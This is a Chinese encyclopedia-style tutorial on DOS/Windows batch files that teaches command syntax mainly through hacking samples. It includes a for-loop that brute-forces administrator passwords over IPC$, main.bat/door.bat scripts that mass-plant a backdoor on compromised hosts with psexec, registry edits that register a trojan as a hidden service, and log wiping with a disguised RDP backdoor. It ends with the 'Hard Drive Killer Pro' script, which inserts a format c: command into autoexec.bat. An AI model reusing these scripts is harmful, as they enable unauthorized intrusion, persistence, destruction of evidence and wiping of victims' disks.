bat文件

bat文件是dos下的 批處理文件。批處理文件是無格式的文本文件,它包含一條或多條命令。它的 文件擴展名爲 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱爲 批處理程序或腳本),能夠簡化平常或重複性任務。
中文名
bat文件
類    別
批處理文件
屬    於
dos
文件擴展名
.bat或 .cmd

用法命令 編輯

Echo 命令
打開 回顯或關閉請求回顯功能,或顯示消息。若是沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中咱們會把這條命令和重定向符號(也稱爲管道符號,通常用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在之後的例子中體現出來。 [1-2]  
@ 命令
表示不顯示@後面的命令,在入侵過程當中(例如使用 批處理來格式化敵人的硬盤)天然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可使用/y這個參數的,可喜的是微軟留了個autoset這個參數給咱們,效果和/y是同樣的。)
Goto 命令
指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的 批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(若是這裏的if、%一、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標籤的名字能夠隨便起,可是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto命令就是根據這個:來尋找下一步跳到到那裏。最好有一些說明這樣別人看起來纔會理解你的意圖啊。
Rem 命令
註釋命令,在C語言中至關與/*--------*/,它並不會被執行,只是起一個註釋的做用,便於別人閱讀和你本身往後修改。
Rem Message
Sample:@Rem Here is the description. [3]  
Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁盤上的全部文件均複製到d:\back中。顯示的註釋提示您將另外一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,而後按 任意鍵繼續處理。
Call 命令
從一個 批處理程序調用另外一個批處理程序,而且不終止父批處理程序。call 命令接受用做調用目標的標籤。若是在腳本或 批處理文件外使用 Call,它將不會在命令行起做用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:][Path] FileName
指定要調用的 批處理程序的位置和名稱。filename 參數必須具備 .bat 或 .cmd 擴展名。
start 命令
調用外部程序,全部的DOS命令和命令行程序均可以由start命令來調用。
入侵經常使用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先級類別開始應用程序
REALTIME 在 REALTIME 優先級類別開始應用程序
WAIT 啓動應用程序並等候它結束
parameters 這些爲傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。若是在命令腳本內執行,該新行爲則不會發生。
choice 命令
choice 使用此命令可讓用戶輸入一個字符,從而運行不一樣的命令。使用時應該加/c:參數,c:後應寫提示可輸入的 字符,之間無空格。它的返回碼爲1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容以下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的 錯誤碼
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,而後if語句將做出判斷,d表示執行標號爲defrag的 程序段,m表示執行標號爲mem的程序段,e表示執行標號爲end的程序段,每一個程序段最後都以goto end將程序跳到end標號處,而後程序將顯示good bye,文件結束。
If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不一樣的命令。有三種格式:
⒈if "參數" == "字符串" 待執行的命令
參數若是等於指定的字符串,則條件成立, 運行命令,不然運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
⒉if exist 文件名 待執行的命令
若是有指定的文件,則條件成立,運行命令,不然運行下一句。
如if exist config.sysedit config.sys
⒊if errorlevel / if not errorlevel 數字 待執行的命令
若是返回碼等於指定的數字,則條件成立,運行命令,不然運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱爲 錯誤碼errorlevel或稱返回碼,常見的返回碼爲0、1。
for 命令
for 命令是一個比較複雜的命令,主要用於參數在指定的範圍內循環執行命令。
批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可使用 通配符
command 指定對每一個文件執行的命令。
command-parameters 爲特定命令指定參數或命令行開關。
批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
而不要用 %variable。變量名稱是區分大小寫的,因此 %i 不一樣於 %I
若是命令擴展名被啓用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
若是集中包含 通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 爲根的目錄樹,指向每一個目錄中的
FOR 語句。若是在 /R 後沒有指定目錄,則使用當前
目錄。若是集僅爲一個單點(.)字符,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
所以,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,若是有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 爲一個或多個文件名。繼續到 filenameset 中的
下一個文件以前,每份文件都已被打開、讀取並通過處理。
處理包括讀取文件,將其分紅一行行的文字,而後將每行
解析成零或更多的符號。而後用已找到的符號字符串變量值
調用 For 循環。以默認方式,/F 經過每一個文件的每一行中分開
的第一個空白符號。跳過空白行。您可經過指定可選 "options"
參數替代默認解析操做。這個帶引號的字符串包括一個或多個
指定不一樣解析選項的關鍵字。這些關鍵字爲:
eol=c - 指一個行註釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指 分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪個符號被傳遞到每一個迭代
的 for 自己。這會致使額外變量名稱的
格式爲一個範圍。經過 nth 符號指定 m
符號 字符串中的最後一個字符星號,
那麼額外的變量將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類狀況中使用:
在做爲命令執行一個後引號的字符串而且
引號字符爲文字字符串命令並容許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=," %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的全部剩餘符號。對於帶有空格的文件
名,您須要用雙引號將文件名括起來。爲了用這種方式來使
用雙引號,您還須要使用 usebackq 選項,不然,雙引號會
被理解成是用做定義某個要分析的字符串的。
%i 專門在 for 語句中獲得說明,%j 和 %k 是經過
tokens= 選項專門獲得說明的。您能夠經過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變量。請記住,FOR變量是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還能夠在相鄰字符串上使用 FOR /F 分析邏輯;方法是,
用單引號將括號之間的 filenameset 括起來。這樣,該字符
串會被看成一個文件中的一個單一輸入行。
最後,您能夠用 FOR /F 命令來分析命令的輸出。方法是,將
括號之間的 filenameset 變成一個反括字符串。該字符串會
被看成命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被看成文件分析。所以,如下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的 環境變量名稱。
Ping命令
Ping命令能夠測試計算機名和計算機的IP地址,嚴正與對方計算機的鏈接,經過向對方 主機發送「網際消息控制協議 (ICMP)」迴響請求消息來驗證與對方 TCP/IP 計算機的 IP 級鏈接。迴響 應答消息的接收狀況將和 往返過程的次數一塊兒顯示出來。Ping 是用於檢測網絡鏈接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。若是不帶參數,ping 將顯示幫助。
12. AT命令
AT 命令安排在特定日期和時間運行命令和程序。
要使用 AT 命令,計劃服務必須已在運行中。
AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\\computername] time [/INTERACTⅣE] [ /EVERY:date[,...] | /NEXT:date[,...]] "command"
\\computername 指定遠程計算機。若是省略這個參數,會計劃在本地計算機上運行命令。
id 指定給已計劃命令的識別號。
/delete 刪除某個已計劃的命令。若是省略 id,計算機上全部已計劃的命令都會被刪除。
/yes 不須要進一步確認時,跟刪除全部做業的命令一塊兒使用。
time 指定運行命令的時間。
/interactive 容許做業在運行時,與當時登陸的用戶桌面進行交互。
/every:date[,...] 指定在每週或每個月的特定日期運行命令。若是省略日期,則默認爲在的運行。
/next:date[,...] 指定在下一個指定日期(如,下週四)運行命令。若是省略日期,則默認爲在的運行。
"command" 準備運行的 Windows NT 命令或 批處理程序

選項語法 編輯

%~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個徹底合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個 文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的 文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑 環境變量的目錄,並將 %I 擴充
到找到的第一個徹底合格的名稱。若是環境變量
未被定義,或者沒有找到文件,此組合鍵會擴充
能夠組合修飾符來獲得多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到相似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其餘有效數值代替。%~ 語法
用一個有效的 FOR變量名終止。選取相似 %I 的大寫變量名
比較易讀,並且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面咱們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一臺目標Win2k 主機的暴力密碼破解。
咱們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行鏈接,當成功時記下密碼。
最主要的命令是一條:for /f %i in (dict.txt) do net use \\ip\ipc$ "%i" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來鏈接。而後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "%%i" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裏有大量肉雞等着你去種後門+木馬呢?,當數量特別多的時候,本來很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用 批處理文件,能夠簡化平常或重複性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這裏它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來創建IPC$鏈接,並copy木馬+後門到victim,而後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裏你也必定明白這victim.txt裏的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,通常就是 ip password username。

代碼雛形 編輯

cut here then save as a batchfile(I call it main.bat) -@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
cut here then save as a batchfile(I call it main.bat)cut here then save as a batchfile(I call it door.bat)
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@ psexec\\%1 c:\winnt\system32\windrv32.exe%1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
cut here then save as a batchfile(I call it door.bat)
這只是一個自動種植後門 批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深刻一點可使之具有自動傳播功能( 蠕蟲).此處很少作敘述,有興趣的朋友可自行研究.

使用參數 編輯

批處理中可使用參數,通常從%1到%9這九個,當有多個參數時須要用shift來移動,這種狀況並很少見,咱們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張 軟盤,因此用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點多此一舉了~^_^
sample2:
當咱們要創建一個IPC$鏈接地時候總要輸入一大串命令,弄很差就打錯了,因此咱們不如把一些固定命令寫入一個 批處理,把 肉雞地ip password username 當着參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "%2" /u:"%3" 注意哦,這裏PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數仍是比較簡單的吧?你這麼帥必定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
⒈&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法能夠同時執行多條命令,而無論命令是否執行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
⒉&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法能夠同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,若是一直沒有出錯則一直執行完全部命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在作備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
若是遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法能夠替換IF exist了 :)
⒊||
Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法能夠同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,若是沒有出現正確的命令則一直執行完全部命令;
Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

管道命令 編輯

| 命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果做爲第二條命令的參數來使用,記得在unix中這種方式很常見。
sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出來了麼?用於 終端服務容許咱們爲用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以得到登陸用戶的IP。
將一條命令或某個程序輸出結果的重定向到特定文件中,> 與 >>;的區別在於,>;會清除調原有文件中的內容後寫入指定文件,而>>;只會追加內容到指定文件中,而不會改動其中的內容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
時下 DLL木馬盛行,咱們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦殼往那裏鑽,DLL馬也不例外,針對這一點咱們能夠在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件做一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣全部的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
往後如發現異常但用傳統的方法查不出問題時,則要考慮是否是系統中已經潛入DLL木馬了.
這時咱們用一樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,而後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較先後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣咱們就能 發現一些多出來的DLL和EXE文件,而後經過查看建立時間、版本、是否通過壓縮等就可以比較容易地判斷出是否是已經被DLL木馬光顧了。沒有是最好,如 果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件註銷掉,再把它移到 回收站裏,若系統沒有異常反映再將之完全刪除或者提交給殺毒軟件公司。
< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另外一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另外一個句柄輸出中。
這些並不經常使用,也就很少作介紹。
No.5

註冊表 編輯

在入侵過程當中常常回操做註冊表的特定的鍵值來實現必定的目的,例如:爲了達到隱藏後門、 木馬程序而刪除Run下殘餘的鍵值。或者建立一個服務用以加載後門。固然咱們也會修改註冊表來加固系統或者改變系統的某個屬性,這些都須要咱們對註冊表操做有必定的瞭解。下面咱們就先學習一下如何使用.REG文件來操做註冊表.(咱們能夠用 批處理來生成一個REG文件)
關於註冊表的操做,常見的是建立、修改、刪除。

建立

建立分爲兩種,一種是建立子項(Subkey)
咱們建立一個文件,內容以下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
而後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下建立了一個名字爲「hacker」的子項。
另外一種是建立一個項目名稱
那這種文件格式就是典型的文件格式,和你從註冊表中導出的文件格式一致,內容以下:
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是「String value」
door的類型是「REG SZ value」
Autodos的類型是「DWORD value」

修改

修改相對來講比較簡單,只要把你須要修改的項目導出,而後用記事本進行修改,而後導入(regedit /s)便可。

刪除

咱們首先來講說刪除一個項目名稱,咱們建立一個以下的文件:
Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;
咱們再看看刪除一個子項,咱們建立一個以下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。
相信看到這裏,.reg文件你基本已經掌握了。那麼的目標就是用 批處理來建立特定內容的.reg文件了,記得們前面說道的利用重定向符號能夠很容易地建立特定類型的文件。
samlpe1:如上面的那個例子,如想生成以下 註冊表文件
Windows Registry Editor Version 5.00
"door"=hex:255
"Autodos"=dword:000000128
只須要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample. reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
使用一些比較老的木馬時,可能會在註冊表的 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啓動.可是這樣很容 易暴露 木馬程序的路徑,從而致使木馬被查殺,相對地如果將木馬程序註冊爲 系統服務則相對安全一些.下面以配置好地IRC木馬DSNX爲例(名爲 windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo "windsnx "=- >>patch.dll
@ sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在註冊表中的啓動項,用 sc.exe將之註冊爲系統關鍵性服務的同時將其屬性設爲隱藏和只讀,並config爲自啓動]
@REM 這樣不是更安全^_^.

實例說明 編輯

刪除win2k/xp系統默認共享的批處理
cut here then save as .bat or .cmd file
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo
goto :EOF
:END
echo.
echo
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo
echo.
echo
echo.
:EOF
echo end of the batch file
cut here then save as .bat or .cmd file
全面加固系統(給肉雞打補丁)
cut here then save as .bat or .cmd file
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登陸]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件訪問和打印共享]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登陸前關機]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止顯示前一個登陸用戶名稱]
@regedit /s patch.dll
cut here then save as .bat or .cmd file
下面命令是清除肉雞全部日誌,禁止一些危險的服務,並修改肉雞的terminnal service留跳後路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [刪除日誌]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危險的服務。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Termina l Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex⑵:25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\ termsrv.exec:\winnt\system32\eventlog.exe
@REM [修改3389鏈接,端口爲8210(十六進制爲00002012),名稱爲Microsoft EventLog,留條後路]
Hard Drive Killer Pro Version 4.0
(玩 批處理到這個水平真的不容易了。)
cut here then save as .bat or .cmd file
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings,dont worry about how it
rem works,its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1,then the above is not true,if 0,then its true.
rem Opposite of binary rules. If 0,it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1,then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0,then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1,then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1,then the specified drive is a CD-ROMdrive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRⅣE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows,please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
